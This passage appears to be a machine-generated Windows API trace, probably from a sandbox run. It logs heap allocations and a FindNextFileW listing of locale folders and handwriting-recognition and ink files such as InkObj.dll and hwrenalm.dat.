(HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.511] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0047.513] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0047.513] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0047.514] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0047.515] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.515] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0047.515] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0047.515] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0047.515] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0047.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0047.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0047.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e0c8 [0047.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8db88 [0047.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2c0) returned 0xf8e690 [0047.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf87318) returned 1 [0047.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.515] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0047.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0047.516] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0047.516] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0047.516] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0047.516] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0047.516] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e0e8 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8dc90 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0047.516] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e108 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e128 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9cc00 [0047.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.517] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e148 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8e970 [0047.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.517] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e168 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9cc88 [0047.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.517] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e188 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9cd10 [0047.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.898] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e1a8 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9cd98 [0047.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.898] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e1c8 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ce20 [0047.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.898] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0047.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.899] 